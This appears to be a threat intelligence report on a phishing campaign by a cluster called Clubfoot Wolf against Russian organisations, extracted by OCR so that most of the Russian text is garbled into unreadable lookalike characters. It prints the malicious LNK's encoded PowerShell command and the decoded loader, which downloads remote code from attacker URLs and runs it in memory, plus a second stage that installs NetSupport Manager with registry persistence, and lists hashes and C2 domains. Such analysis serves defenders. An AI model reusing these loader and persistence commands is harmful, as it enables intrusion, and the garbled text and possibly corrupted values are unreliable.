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BBepeHue

Mbl BbiIAICHUNIK, YTO B Mae 1 utoHe 2026 roga knactep Clubfoot Wolf Ben macwtabHyto kamnaHuto,
HaLEeneHHY Ha POCCUICKME OpraHmn3aumnm n3 criegyowmx cgep:

obpabarbiBatoLiasi MPOMbILLNIEHHOCTb,
e PO3HMYHas TOProens,

e 3NEKTPOHHas KOMMepLMS,

e CenbCcKoe XO35MCTBO,

o IT,

e JIOTUCTMKA,

e MeauuuHa,

e Hayka.

OCHOBHOWM MULLEHBLIO CTann POCCUNCKNE KOMMNaHMN, 3aHMMAaOLLMECS ONTOBOW Npoaaxen
XMMUYECKOWN NPOoaYKUMN. 3NOYMbILLIIEHHUKN Takke aTakoBann HECKONbKO OpraHmu3auunin
n3 Pecnybnukn Benapyce.

[nsa nony4eHus nepeoHadansHoro goctyna Clubfoot Wolf pacceinan guiimnHroBble nucbma.
KnacTtep gocraensan B uenesble cuctembl nermtumHoe MO ong yganeHHoro agMMHUCTPUPOBaHUSA
NetSupport Manager, koTopoe 3aTteM 1ucrnonb3oBarn Ans HaHeceHuUs Bpeaa.
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Y3HanTe Ha noptane BI.ZONE Threat Intelligence, kTo atakyeT Bally kKoMnaHuo

CMoTpeTh BGecnnarHyo BEPCuto

Knro4yeBble BbIBOAbI

o Clubfoot Wolf aktneHo ncnonbadyet NetSupport Manager kak OCHOBHYO Harpy3aky. [1pu aTom
3I0YMbILLUIIEHHUKN 3KCMEPUMEHTUPYIOT Co cnocobamu goctasku 10 B ueneBble CUCTEMBI:
MOLMULMPYIOT UCMOSb3yeMble LLEMOYKN 3apaXkeHnst 1 METOAbl MAaCKUPOBKM BPEOOHOCHON
aKTMBHOCTMW.

o Knactep ncnonb3yeT CepBUCHI COKPALLEHUST CCbINOK, YTOObI CKPbITb MHAPPACTPYKTYPY
AO0CTaBKM NOCMeAyLWNX CTaanni atakn, a Takke 3aTpyaHUTb aHanum3 1 BbisIBNIEHNE KOHEYHbIX
URL-agpecoB cpeactsamu 3awuThbl.

o Kak n B paHee 3adukcmpoBaHHbix kamnaHusx, Clubfoot Wolf pacnpoctpaHsaeT apxusbl
C nogaernbHbIMU JOKYMEHTaMN, UMUTUPYSA OeATENbHOCTb POCCUMNCKUX OpraHM3aLmm.
OTBnekatoLme hannbl UCNOMb3YHTCS, YTOOLI BOUTY B OBEpPUE K XepTBe 1 ybeauTb
ee 3anyCcTuUTb BPeLOHOCHOE BIIOXEHUE.

OnucaHue KamnaHum

®duwmHrosoe NUCbMO

Ansa nonyveHus nepsoHadansHoro goctyna Clubfoot Wolf pacceinan gpuvwmnHrosslie nnucbma noj
npeanorom 3anpoca KOMMEPYECKOro NpeasioxKeHns Unu BbiCTaBneHus cyeta. B nucbmax
3M10YMbILLMIEHHUKM NPEACTaBNANNCE COTPYAHUKAaMM KOMNaHWW, 3anHTepeCcoBaHHON B 3aKyrnke
NPoAyKUMN y LeneBon opraHnsaunm.

K nucbmam 6bin npunoxer ZIP-apxue, cogepxawmin Habop oTenekarowmx dannos
n BpegoHocHbIM LNK-cann. [Ansa pacceinku duwmHrosblx nucem Clubfoot Wolf ncnonesosan
NnoYTOBbLIN cepBUC «AHaekc MouTtar.
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3aseka 000 zip
420KB v

JoOpsrit 1eHs!
IIpocum, erictaeuts cue/KIT ¢ MakcHMaTBHOM CKHAKOMH (CITHCOK H PEKEHIHTHI BO BJIOKEHHH). Y TOYHHTE CPOKH H MeCTO oTrpysku. Ipamas sakynka.
(peKBH3HTHI, YCTABHBIE MOKYNATENA H CreUH(HKALHA BO BIOKEHHH)

C Veaxenuem,

+7
000

www.

e

duLMHroBOE NMCbMO C BpPEOOHOCHbLIM BITOXEeHNEM

ZIP-apxuB

B pamkax gaHHON OULLMHIOBOW KaMnaHUM 3110YMbILLSIEHHUKN pacnpocTpaHsnn ZIP-apxussbl,
copgepxalime BpegoHocHbl LNK-dann n gea-tpy oTBrekarwLwmnx ganna pasnmyHbix popmaTos
(PDF, JPG, PNG, DOC n DOCX).

5 — 3anska 000 zip

KMran Pazmep Cwateid  Mzmenen

B AHKkeTa Jpdf 336489 327463 2023-07-02 16:28
EH CEMAETENLCTED O NOCTAHOBKE B pdf 167799 100760 2023-07-02 16:28
|:|§335 BK@ Ha 3akynky oT komnadun J00 Ha noHe 2026r.Ink | 1480 773 2026-05-28 07:34

Copepxumoe ZIP-apxmBa
HasBaHusa paccbinaemMbix B (oMWNHIOBbIX NUCbMax ZIP-apxvBOB COOTBETCTBYHOT LLUAGMOHY:

3asBKa [Ha3BaHuMe KoMnaHun] [Homep].zcodep.

HaseaHuna BpegoHocHbix LNK-thainoB cooTBeTCTBYIOT LIAGNOHY: 3asBKa Ha 3aKynky

0T KOMMaHum [Ha3BaHue kKoMnaHum] Ha [rop]r.1lnk.
HasBaHuns oTBnekarwLmx gannos:

e Bhinucka [redacted] 21.09.21.pdf

e MapkeTuHrosaa kapta 000 [redacted].doc
e Bhinucka u3 [redacted].pdf

e PekBu3ntel 000 [redacted] (HOBbBIE).doc

e KapTouka npepnpustusa.docx

e CB-BO O MOCTAHOBKE Ha y4eT.jpg

e AHkeTa [redacted].pdf

e (BMOETenLCcTBO 0 nocTaHoBke B [redacted].pdf
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e KapTtouka 000 [redacted] HOBAf.doc

e CHMMOK 3KpaHa 2023-07-02 16-04-35.png

e KapTtouka knueHTa 000 [redacted].doc

e CBupetenbctBo WHH. jpg

e Ceupetenbcteo OMPH.jpg

e HH OrPH CBupeTtennctBo 0 per. B [redacted] oT 16.04.2019.pdf
e Kaptouyka opranusaumm A0 [redacted].doc

Mpumepbl oTBNEKaoWwmx annos NpuBeaeHbI HUXE.
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Anxkema 000

1 Haiganmne 000

2 H)pranuecknil agpec L, 5 eERa,

3 Otbnc r. Mockea,

4 Koa HHH/KIIII

5 OKATO/OKTMO

G Kon OKIIO

7 Kon OI'PH

R Jara rocynapcTeeHHOH 0%.11.2013

pPeErHCTPalHH
Eaunelii rocyaapcree HuLIi CEPUA CEMAETEARCTEO
o i."IL‘T “ [;Jl ::'iﬁ:m:{ MH! BLIIIAHO 11102011,
PEECTP IOPHANHECKIX Tl no r. Mockse.

10 [locTanoeka na yuer MO r. MOCKBE,
08.11.2013.
Pacuernniii cuer
B [TAOQ EHK

11 BankoBCKHE PEKBHINTE KOp. CHET B OINEPY
MOCKOBCKOI'O POCCHH).

12 [Nenepaneunlii AUpexKTOp HHH
neitcteyver Ha ocnosanun ¥YCTABA.

13 KonrakThl +7

OTBneKarLLmMin OOKYMEHT
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Qopna
Koa no KHJ1

CBUJAETEJILCTBO

0 MOCTAHOBKE HA YYET POCCHACKON OPTAHM3ALIMH
B NOMECTYEE HAXOKJIEHHUA

Hacrosmee CBRACTRIBCTBO NOATBEPAILALT, YTO POCCHACKAS OPraHA3alng
OBLECTBO C OlPAHHYEHHOH OTBETCTBEHHOCTBIO

(MOTNOE RATMEMOSIN I POCOU N0 Op . <P Aok

OIr'PH

NOCTANICHA HA YYET B COOTBETCTRHM ¢
Poccuiickoft Denepaunu 08.11.2013

IRUCR0, MECRY. XN))

B N0 MecTy HAXOACACHHA M
~ nor. Mockse

(MU HoaaN w €20 Kod)
W eii npucBoeH
HHH/KIII

"naHui rocyaapeTBeHH b
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OTBnekarLwmii AOKYMEHT

LNK-chaiin

Mpwn 3anycke nonb3oBaTtenem BpegoHocHoro LNK-garna BbINOMHAETCHA 3aKoAnpoBaHHas
Base64-komaHga B nHtepnpetatope PowerShell:

powershell.exe -E OwBHAGUAdAAtAEgAZ(QBsAHAAOwBbAFMAeQBzAHQAZQBtAC4ATgBTAHQALgBTAGUACgB2AGKA

PowerShell-komaHaa B AekoaMpoBaHHOM U OT(hopMaTMpOBaHHOM BUAE:

Get-Help;
[System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::Tlsl
$magazine="hxxps://crop[.]sh/6zUo80k";

$marie=(gcm *vo*p*s*n).name;

$claire=New-Object -ComObject MSXML2.ServerXMLHTTP;

$claire.open("GET«, $magazine, $false);

$claire.send();

& $marie $claire.responseText;

Write-Host «Good read»;

HaHHas komaHaa BbinonHsaeT HTTPS GET — 3anpoc kK yaaneHHoMy pecypcy
hxxps://crop[.1sh/6zU080k (McxogHasa ccbinka:
hxxps://sunlightfriends[.]tech/weather/news), nony4aeT cogepXvumoe oTBeTa 1 nepenaet
ero Ha ucnonHeHue yepes Invoke-Expression. Takum obpasom peanusyetcsa 6ecdarinosas
(fileless) 3arpyska 1 BbINoNHeHWe criegyloLlen cTagmm HenocpeacTBEHHO B NaMATH npouecca
PowerShell.

B pamkax gaHHon kamnaHum Clubfoot Wolf akTmBHO ncnonb3yeT cepBuc aAng ykopaunBaHus
CCbINOK urlcrop.com.

urlcrop.com,

&

Your short link is ready!

Copy your new link or create a free account o track its performance.

https:ficrop.sh/qoTy4IM 0O Copy

(9 Guest links expire in 3 days — create a free account to keep it forever.

Track clicks, devices & Q> Branded short domains &
countries slugs

? QR codes & campaign UTMs ~ (©)  Safe & 1SO-Ready Platform

No expiry on registered accounts. Guest links auto-expire after 3
days.

Create Free Account

Cemec ana ykopavmBaHUA CCbINOK urlcrop.com
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PowerShell-ckpunTt

3arpyxeHHbl B namaTb PowerShell-ckpunt npeacraensieT cobon 3arpysyuk (loader),
cogepxawmn PowerShell-koa, 3akoanpoBaHHbIn Base64 n 3awmndgpoBaHHbin AES-128-CBC
¢ ncnosnb3oBaHnem PKCS7 Padding. Nocne gekoanpoBaHusa n paclumgpoBKM MNOMyHEHHbIN
PowerShell-ckpunt npeobpasyetca B ctpoky UTF-8 n BeinonHAeTcs B namaTu.

$WYgaGE

:FromBase64String($WyYgaGE)
$EZITDa a CreateDecryptor()
$GghobB r mFinalBlock($TmEAAW, @, $TmEAAW.Length)
. ($Ifoalp).$0Tkake stem.Text.En ng]::UTF8.GetString($GgAobB))

Copepxumoe PowerShell-ckpunTa
[ekoanpoBaHHbIN U pacwndpoBaHHbIM PowerShell-ckpunT nmeet Bua, npeactaBneHHbIn HUXE.
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1 : USERPROFILE\Documen

$VLFUWp 2 48..57) | Get-Random -Count 7 | ForEach-Object {]
$EDauaA =

FheFeoh =

$WeFeoA. » $ldayya, $false);
$WeFeoA.send():

$RKoamA = New-Object -ComObject ADODB.Stream;
$RKoamA.Open();

$RKoamA.Type = 1;

$RKoamA . Write ($lieFeoh. responseBody);
$RKoamA.SaveToFile($EQaual, 2);

$RKoamA.

$KmusoR 1"+ "p” +

$AaRjuw g LOCALAPPDATA nt i
$IASmed ject -ComObject Shell.Application;
$BaYVYa d.NameSpace($EOauaA);

$LekBk1 d.NameSpace ($AaR] $LekBk1.CopyHere($BaYV¥a.Ttems( )
$5a5ACA I Gt E :

(!(Test-Path $AaRjuw)) {New-TItem -ItemType Directory -Path $AaRjuw};

Mot g Mt wew o wmge L wow

"$AaRjuw\$5asACASLaYFal";
$BJZaoy = gcm *vo* o e :

$KWalCa.Key [C :FromBasef45tring ($GvWVKPA)

$KWalCa.IV FromBase645tring($QiacoD)

$KWalLCa.Mod

$KkWalCa.Padding

$AKOIBA :FromBase64String($GnokkM)

$LAEJVA = $KWalCa.CreateDecryptor()

$IA0KUe = v i AKOIBA, @, $AKOIBA.Length)
el 1 1UTF8.GetString($JA0KUe

$50evow

3 1y

$JwAlem

$02UAKML

$LZADST es]::Create()
$IA0BUR

$LZADsT .Ke ( ]::FromBase645tring ($NOdK1Y)
$LZADST. : :FromBaseb4string($0sUAWL)

sleep(5);

$IaamUa = "Vvoi i VAaeM $AaRjuw'\$SasACASLaYTa
$FapCEc =

Set-ItemProperty N $1aamla

$ADCEaT
$BmEeAD = $AOcEaT.TransformF <( j 8, $EalRjuU.Length)
. ($IAcBuR).$JwAlem : :UTF8.GetString($BmEeAD) )

PacwundpoBaHHoe cogepxmumoe PowerShell-ckpunta
HaHHbIn PowerShell-ckpunT BbINONHAET criegytowme 4eNcTBuUS:

o Cospaet pann $USERPROFILE%\Documents\TextDocument N0213411.txt n 3anucbiBaeT

onepaumns BbIMOMHAETCS AN OTBNEYEHUSI BHUMAHUS XXEPTBbI U 0TOBpaxeHnsa danna
C AKO6bl 3aKOANPOBAHHBLIM U NOBPEXAEHHBIM COAEPXMMbIM. B opyrnx Bepcusix
PowerShell-ckpunta BMECTO 3TOro OCYLLECTBNSAETCSA OTKPbITUE CChINIKM Ha OOKYMEHT
Ha «AHaekc OQucke» B Beb-6pay3sepe no ymonyaHuio, Hanpumep $LA0JCm =
«hxxps://disk.yandex[.]ru/i/RgUW0-uhakJF8w»; (New-Object -ComObject
Shell.Application).Open($LA0JICm).
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o 3arpyxaeT ZIP-apxmB no ccolfike hxxps://crop[.1sh/0SRXf5B (McxoaHas ccbinka:
hxxps://sunlightfriends[.]tech/weekly/forecast) n coxpaHsieT ero nog cry4yamHbim
UMeHeM [A-Za-z0-9]{7}.zip B kaTanor STEMP%, Hanpumep STEMP%\R7MIOBg. zip.

B 3arpyxeHHoMm ZIP-apxmBe cogepxatcs dannbl MO yganeHHoro agMMHUCTPUPOBaHUSA
NetSupport Manager.

 [MpoBepsieT Hannyue katanora %LOCALAPPDATA%\VoiceAssistant. [1pun ero otcyTcTBMM
katanor cosgaetcs. [lanee PowerShell-ckpunT oTkpbiBaeT ZIP-apxvB Kak BUPTYyarbHYHO
nanky ¢pannoBon CUCTEMbI N BbINOMHAET CKPbITOE KOMMPOBAHWE ero COAEPXXMMOro B kKatanor
%LOCALAPPDATA%\VoiceAssistant.

o [ekoaupyeT u pacwmdposbiaeT PowerShell-koa, oTBevatowmm 3a 3anyck npovecca
%LOCALAPPDATA%\VoiceAssistant\voiceassist.exe. [locne gekogmpoBaHus
N pacwndpoBKN OaHHbIN KOA BbINonHsAeTcA. MicnonHsembln doann voiceassist.exe
asnsaetcs knveHToM NetSupport Manager Bepcun 14.2.0.966.

o [ekogupyet n pacwmdposbiBaeT PowerShell-kog, otBevarowwmii 3a 3akpenneHne NetSupport
Manager B peectpe OC B kntode Run:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] VoiceAssistant =
«%LOCALAPPDATA%\VoiceAssistant\voiceassist.exe.exe». [locrne gekognpoBaHua
N paclwmpoBKM AaHHbIN Ko BbiNonHaeTcsa. CTOUT OTMETUTb, YTO B JAHHOM BapuaHTe
aTakyLme AonycTunm ownbKy B Ha3BaHUU UCNONHAEMOro (pavna voiceassist.exe,
yKasaB [BONHOE paclumpeHune .exe.exe. B gpyrmx aksemnnspax ykazaHHas owwmbka
otcytcTByeT n NetSupport Manager 3akpennseTcs B CKOMMPOMETUPOBAHHOW CUCTEME
yCMeLLHO.

Apxus c NetSupport Manager

Momummo ocHoBHbIX kKomMnoHeHTOB 10 NetSupport Manager, 3arpyxaembin ZIP-apxuB cogepxan
Habop ¢annos, 3anofIHEHHbLIX aBTOMATUYECKN CreHEPMPOBaHHbLIM 6ECCMbICIIEHHLIM TEKCTOM.
BepoATHO, ykasaHHble hannbl 6binmn gobaBneHbl A5 UIBMEHEHMUS XELL-CyMMbl apxmBa, a Takke
npugaHvs emy Buaa nermtTMmMHOro NporpaMmMHoOro aAnctpmubyTtuea.

10/18



¥ |E rRIMIOBgzip

ran Pazmep Caateid  Mzmened
|:] AudicCapture.dil 43 560 44 269 2026-05-28 08:00
{E] client32.ini 645 N4 2026-05-28 08:00
|:] HTCTL32.DLL 328056 168407 2026-05-28 08:00
|:] msver100.dll Tr3968 413357 2026-05-28 08:00
{S] nzskbfltr.inf 328 212 2026-05-28 08:00
B MSM.LIC 266 208 2026-05-28 08:00
|:] peicapi.dil 33144 17361 2026-05-28 0&:00
|:] PCICHEK.DLL 18 202 8025 2026-05-28 08:00
|J PCICL32.dII 34680 13175.. 2026-05-28 08:00
[m=] remcmdstub.exe 72760 35417 2026-05-28 02:00
|:] TCCTLI2.DLL 392496 203 397 2026-05-28 08:00
117968 20708 2026-05-28 0:00
_Assistant_Lib_1.12.57206.valib 21M 509 2026-05-28 08:00
|j Voice_Assistant_Lib_1.13.350533.valib 2160 517 2026-05-28 08:00
|j Voice_Assistant_Lib_1.18.29976.valib 1991 435 2026-05-28 08:00
|j Voice_Assistant_Lib_1.25.24213.valib 2077 512 2026-05-28 08:00
|j Voice_Assistant_Lib_1.29.46877.valib 2087 503 2026-05-28 08:00
|j Voice_Assistant_Lib_1.29.94582.valib 203 480 2026-05-28 08:00
|j Voice_Assistant_Lib_1.32.37417.valib 13963 435 2026-05-28 08:00
|j Voice_Assistant_Lib_1.34.22632.valib 2058 493 2026-05-28 08:00
|j Voice_Assistant_Lib_1.35.65268.valib 2023 472 2026-05-28 08:00
|j Voice_Assistant_Lib_1.36.73184.valib 2064 464 2026-05-28 08:00
|j Voice_Assistant_Lib_1.38.60289.valib 2028 496 2026-05-28 08:00
|j Voice_Assistant_Lib_1.38.85698.valib 14902 390 2026-05-28 08:00
|j Voice_Assistant_Lib_1.40.98653.valib 14965 N4 2026-05-28 08:00
|j Voice_Assistant_Lib_1.43.80800.valib 2068 507 2026-05-28 08:00
|j Voice_Assistant_Lib_1.44.77184.valib 1991 450 2026-05-28 08:00
|j Voice_Assistant_Lib_1.47.56119.valib 2010 458  2026-05-28 08:00
|j Voice_Assistant_Lib_1.54.64954.valib 14987 466 2026-05-28 08:00
|j Voice_Assistant_Lib_1.64.34071.valib 14979 434 2026-05-28 08:00
|j Voice_Assistant_Lib_1.69.41784.valib 2002 457 2026-05-28 08:00
|j Voice_Assistant_Lib_1.77.86595.valib 2043 473 2026-05-28 08:00

Copepxumoe apxmsa ¢ NetSupport Manager
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®ain [paska ®Qopmar Buwg Cnpaeka

However, melons have begun to rent peaches over the past few months, specifically for
plums associated with their scorpions. This is not to discredit the idea that however,
hamsters have begun to rent scorpions over the past few months, specifically for
chimpanzees associated with their limes. However, frogs have begun to rent pineapples
over the past few months, specifically for strawberries associated with their
chimpanzees! Draped neatly on a hanger, however, octopus have begun to rent flies over
the past few months, specifically for pineapples associated with their currants.
However, ducks have begun to rent hippopotamus over the past few months, specifically
for cats associated with their grapes! However, cheetahs have begun to rent puppies over
the past few months, specifically for kittens associated with their grapes. However,
lobsters have begun to rent cats over the past few months, specifically for cranberries
associated with their pandas. However, hippopotamus have begun to rent hamsters over the
past few months, specifically for kangarcos associated with their squirrels. In modern
times however, kiwis have begun to rent deers over the past few months, specifically for
horses associated with their seals! As far as we can estimate, however, chickens have
begun to rent squirrels over the past few months, specifically for lobsters associated
with their blueberries. Unfortunately, that is wrong; on the contrary, however, bears
have begun to rent kittens over the past few months, specifically for pandas associated
with their foxes. However, grapes have begun to rent lions over the past few months,
specifically for oranges associated with their strawberries; Of course, however, grapes
have begun to rent tigers over the past few months, specifically for blueberries
associated with their fishes. However, chimpanzees have begun to rent deers over the
past few months, specifically for grapes associated with their fishes. The zeitgeist
contends that however, flies have begun to rent flies over the past few months,
specifically for snails associated with their cats.

Cogepxumoe danna Voice Assistant_Lib_1.12.57206.valib

MHankaTopbl KOMNpoMeTauum

Xew-cymmbl channos

ApxuBbl:

e b24b8d96ebeal®cb7e9ffb73256cc4619041123e7c2cc26fe92d355a8378a87c¢
e 490585f82a0ddaafd9eead803859e06dafc0219a5bd1c08482¢c98f3d37eec231
e b90a7f17b5406db3eel7ec4bc82a704c6128b4ad8652776b4f55bc3948Fa8385
e 0c2947904711ef63ac3cc24ba2e7a059e318dc219d14eeaebbbb46fd277f7f3d
e 38d96dd1c26a7a98c8b55¢925863d0f5c8c099a73192c65e3aled47ea636d3d29
e 100e0ca5laba25efacl6627be80c7ce992a5506470136e43cb8b24d8828ba82b
e 11ad9f6c235€a561317d89590fa41d75348019850735b998b60661635ad99¢e9a
e 03dbaee9cbcb5abb6a35fd7804dcf7e83e0675dad40eabcfdl61d1d6b387363b3
e 6478585efed46b0616ca201c51464de7af5ba8985¢c3b948f9b67db09chd62e97
e 0c2947904711ef63ac3cc24ba2e7a059e318dc219d14eeaebbbb46fd277f7f3d
e e20c0900513551265dda37ce5334c71f5b0e8b20e19f9d8391177987e2458120
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LNK:

cee0ad69647d4840013e836b657d8fd79b9be7389ccbc70e15¢c5¢ch96bf926f8a
bea®7bc2359e8f3ce914b0027b5548ae58c9a0191330446b2c81050cd9calb0d
b2e8f9f9a69c1be0d1814b064b73586afbf730e2ab9d9fb10dd5711bed febe85
31b0f515012355e104aled4f1l0baff85c3066a037f17272ce9c2445fd8377a96a
aedcfbac94161f74b2ce63ad9da2f613809860fc8aal9d6eadb57e964c4718a8
20c8fd700796b80ea093e23ec812943adfc63c3b8653bb09b581fd7f4127c652
c5aldeelae7f0a04dfa91481d0cld5ad5c887a77e657def8878af600a98fd8c6
82671b7f09811ff38b3cabl86776d06cc9e89d434080fleb26falc35767eacab
73bd4f12f3e7d155dfbcb6d016b99d40cce8554964ecc51de40b70fab3adc3asb
20c8fd700796b80ea093e23ec812943adfc63c3b8653bb09b581fd7f4127c652

OTtBnekarowme dannbi:

bed54c819cc8ff502fff41f6d9c726836b6086c9afdd47f2261809196c973¢38
79f169be997f883ef02559a0af3f014f63c1c0308931913decd79chaafaf659f
9fad461bd75788d27ceb778dc0f9773d641e804b3e10103c482bad747153178f8
45154678b808a70316f0172a5012ffdfc7d7ddcde856440099fcdbad64e84ddb
41c1b4b09cb3185075f57befd5278119ee0a952418144779898378f0963897e9
7b6f6fe88ff9d953965e81b1lbed256528c93ff159156bc17b8811d7cfd5dfed7
53c6a0a51ef3cf9d38034a7600c94elae3968dbec5bbb5d9fdcd26764c6b30e2
644ad315071324e7186e9b04dfc7dae515cala7ae386b21207c4ab38d1al64d6
3325be6c18c35b66e7f527950af97a4235e04d026a81780c135d6cec3f8245db
4972b6583645d28600f076e73def05890b5429d98c8b328d61f421c79a021db6
b38032f5b2059cacc28246dd0b739e19b6a68daf34add740d5cebbe87354b498
7f58b98e9d4b2d06dadef2b8656d337283118a135806dd711fb9de51ca63911d
fb25a19a74bc7549f5e4e11299886fb09a9d5b4fd4599c5a9b7f2d534ce71691
8fde3f60f9ae901a9fa04888d3050c9a65fb63722a4b41a6d6ad7d38183¢c37d5
fl5e4el40fceeb393bch2c8d61a2333b37¢c30270527b5c48d8440e3ecle02ae4d
cdf7¢c97cfb494ade90886765606294db0Ob98a2576bcld152bc8c4ec97672b687
fa877d45432e7712d1832508¢c77f063958a5cec05038152eb2be5e79992¢c3966
644ad315071324e7f86e9b04dfc7dae515cala7ae386b21207c4ab38d1al64d6
53c6a0a51ef3cf9d38034a7600c94elae3968dbec5bbb5d9fdcd26764c6b30e2

KoHdurypaumoHHbie channbl NetSupport Manager:

dan

fa07773b3at0539442504186973fe2a68e040f80ebea388c5ed62d8f94eddbba
d3c90e61c3ffa059658c36e39334cb38cOb23cbde46f5078705fcfad67c913d8
6a8dfd602daa3b9dc2ceb146837a7966a37af8ab224ed11478e1f6d871375b7f

n nuueHsum NetSupport Manager:
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c709¢c30074155f8f0a431828c23cc08df6959505051578ec28659a47a4da2fab

CeTeBble MHAUKATOPDI

URL

e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps
e hxxps

[JomMmeHblI:

://cropl.
://cropl.
://cropl.
://cropl.
://cropl.
://cropl.
://cropl.
://cropl.
://cropl.
://cropl.
://cropl.
://cropl.
://sunlightfriends].
://sunlightfriends].
://sunlightfriends|.
://sunlightfriends].
://sunlightfriends|.
://sunlightfriends].
://sunlightfriends].
://sunlightfriends|.
://sunlightfriends].
://fleepsterones[.]fun/fashion/week

1sh/6zUo080k
1sh/0SRXf5B
1sh/9hXkrRN
Ish/rlzUuv4
]sh/mD5Gmt2
1sh/KzcOSm7
1sh/0x47s6B
1sh/72TT8c0
1sh/enuSDJG
1sh/0OLiHBAD
1sh/NfhStzD
1sh/ncPHvV10

e fleepsterones[.]fun

e sunlightfriends[.]tech

NetSupport Manager C2:

e stillpaving[.]com:1411

e glowstickspro[.]lcom:1411

]tech/weather/news
]tech/weekly/forecast
]tech/latest/news
]tech/monthly/horoscope
]tech/beauty/series
]tech/health/shampoo
]tech/world/library
]tech/nature/today
]tech/learning/portal

://fleepsterones[.]fun/media/like
://fleepsterones[.]fun/content/articles
://disk.yandex[.]ru/i/6s3ZGTQf7T P-g
://disk.yandex[.]ru/i/RgUW0-uhakJF8w
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e imhfamily[.]com:1414
e akiliridge[.]com:1414

MITRE ATT&CK
TakTuka TexHukKa Mpoueaypa
Resource Acquire Clubfoot Wolf peructpupyet gomeHsl B 3oHax .fun, .tech n
Development Infrastructure: .com
Domains
Acquire Clubfoot Wolf apeHayeT BupTyanbHble BblAeneHHble cepBepbl

Infrastructure: Virtual

Private Server

OnNs1 pa3MeLleHnst Ha HUX CBOUX MHCTPYMEHTOB, a Takke
B kadecTtBe C2-cepBepoB NetSupport Manager

Develop
Capabilities:
Malware

Clubfoot Wolf paspabatbiBaeT BpeaoHocHble LNK-tarnbl
n PowerShell-ckpuntbl ana goctaskm NetSupport Manager
B LleNeBble CUCTEMDBI

Establish Accounts:

Email Accounts

Clubfoot Wolf pernctpupyet nodtoBble agpeca B MOMTOBOM
cepsuce «AHgekc MNoyvtar

Obtain Capabilities:

Tool

Clubfoot Wolf ncnonbsyet B atakax neruTumHoe cpeacreo
yaaneHHoro agmuHucTpuposaHus NetSupport Manager

Stage Capabilities:
Upload Malware

Clubfoot Wolf pasmeLyaeT Ha cBOMX CeTeBbIX pecypcax
BpeAoHocHbI PowerShell-ckpunT, KOTOpbIN 3arpy»aeTcs
N BbIMOSTHAETCH B NaMATU

Stage Capabilities:
Upload Tool

Clubfoot Wolf pasameLyaeT Ha cBOMX ceTeBbIX pecypcax
ZIP-apxuB c MO NetSupport Manager

Stage Capabilities:
Link Target

Clubfoot Wolf ucnonb3ayet cepsuc urlcrop.com ans
YKOpauMBaH1s CCbINOK
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TakTuka TexHukKa MNMpoueaypa
Initial Access Phishing: Clubfoot Wolf pacnpocTtpanset ZIP-apxuBsbi ¢ BI1O,
Spearphishing NPUNOXEHHbIE K ULLMHIOBBIM NMMCbMaM
Attachment
Execution Command and Clubfoot Wolf ncnonssyet BpeagoHocHble LNK-gannbl ons

Scripting Interpreter:
PowerShell

BbinonHeHns PowerShell-komanabl: powershell.exe -E
[base64 command] -W 1

User Execution:
Malicious File

KomnpomeTauunsa cucteMbl MHULMMPYETCA NPU 3arnycke
none3oBatenem spegoHocHoro LNK-davna, goctaBneHHoro
B paMKax (PULLMHIOBOW aTaku

Persistence

Boot or Logon
Autostart Execution:
Registry Run Keys /
Startup Folder

Clubfoot Wolf nucnonbsyet PowerShell-ckpunt gns
nobaenenusa MO NetSupport Manager B aBTo3arpysky
cucTeMbl Yepes koY peecTtpa Run:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
AudioStock =
«%LOCALAPPDATA%\AudioStock\audiostock.exe»

Stealth

Deobfuscate/Decode
Files or Information

Clubfoot Wolf ucnonbsyet o6dyckauumto B PowerShell-
CKpUMTax, BKMOYAIOLLY paHOOMU3aUMI0 UIMEH NEPEMEHHBbIX,
KOHKaTEHaLUUI0 CTPOK U 3aLLMTy CTPOKOBbIX KOHCTaHT
nocpeactsom wudposaHna AES-128-CBC ¢ nocnegytowimm
KogupoBaHuem Base64

Hide Artifacts:
Hidden Window

Clubfoot Wolf ckpbITHO BbInonHseT PowerShell-komaHngy npu
3anycke LNK-anna, ncnonesysa napametp -W (-
WindowsStyle) co 3HayeHnem 1 (Hidden)

Masquerading

Clubfoot Wolf macknpyet BpeaoHocHble LNK-tannbl nog
3asBKy Ha 3aKynkKy: 3asBka Ha 3aKynKy OT KOMMaHuu
[Ha3BaHMe KomnaHuu] Ha [rop]r.1lnk
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TakTuka TexHukKa MNMpoueaypa

Masquerading: Clubfoot Wolf konunpyeT 13 3arpyxeHHbix ZIP-apxvnBoB (ainbl
Match Legitimate MO NetSupport Manager B kaTtanor, MUMUKPUPYIOLLNIA NOA4
Resource Name nerntumHoe lMO:

or Location %LOCALAPPDATA%\MediaManager\mediamanager.exe

Clubfoot Wolf cosgaet napameTpbl B kntoye peectpa Run,
MUMUKpUpytowne nog nerntumHoe MoO:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
MediaManager =
«%LOCALAPPDATA%\MediaManager\mediamanager.exe»

Obfuscated Files Clubfoot Wolf npumeHnsieT o6dyckaumto

or Information B PowerShell-ckpuntax

Obfuscated Files Clubfoot Wolf ucnonessyet Base64 ans kognpoBaHus

or Information: PowerShell-komaHa B LNK-cbannax

Command

Obfuscation
Command Application Layer Clubfoot Wolf ucnonsayet HTTP(S)-npoTokon npu
and Control  Protocol: Web obpaLleHnn K CBOMM CETEBbIM pecypcam

Protocols

Encrypted Channel:  Clubfoot Wolf ncnonssyet SSL-/TLS-wundpoBaHune npu
Asymmetric obpalleHnn K CBOMM CeTeEBbIM pecypcam

Cryptography

Ingress Tool Transfer Clubfoot Wolf ncnonesyetr PowerShell-ckpunTbl ons 3arpysku
cnegywouwen ctagun PowerShell-ckpunTa n ZIP-apxmea
¢ NetSupport Manager

Non-Standard Port Clubfoot Wolf ucnonbsyet HecTaHOapTHLIE CETEBbIE NOPThI
ans ynpasnsatowmx cepsepoB NetSupport Manager: 1411,
1414
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TakTuka TexHukKa MNMpoueaypa

Remote Access Clubfoot Wolf ncnonbayet nerutumHoe cpeacTtso yaaneHHoro
Tools: Remote agmunHncTpupoBaHmsa NetSupport Manager ans ynpasneHus
Desktop Software CKOMIMPOMETMPOBAHHbLIM XOCTOM

Web Service Clubfoot Wolf ncnonbayet obnadHoe xpaHunuiie «AHOeKC

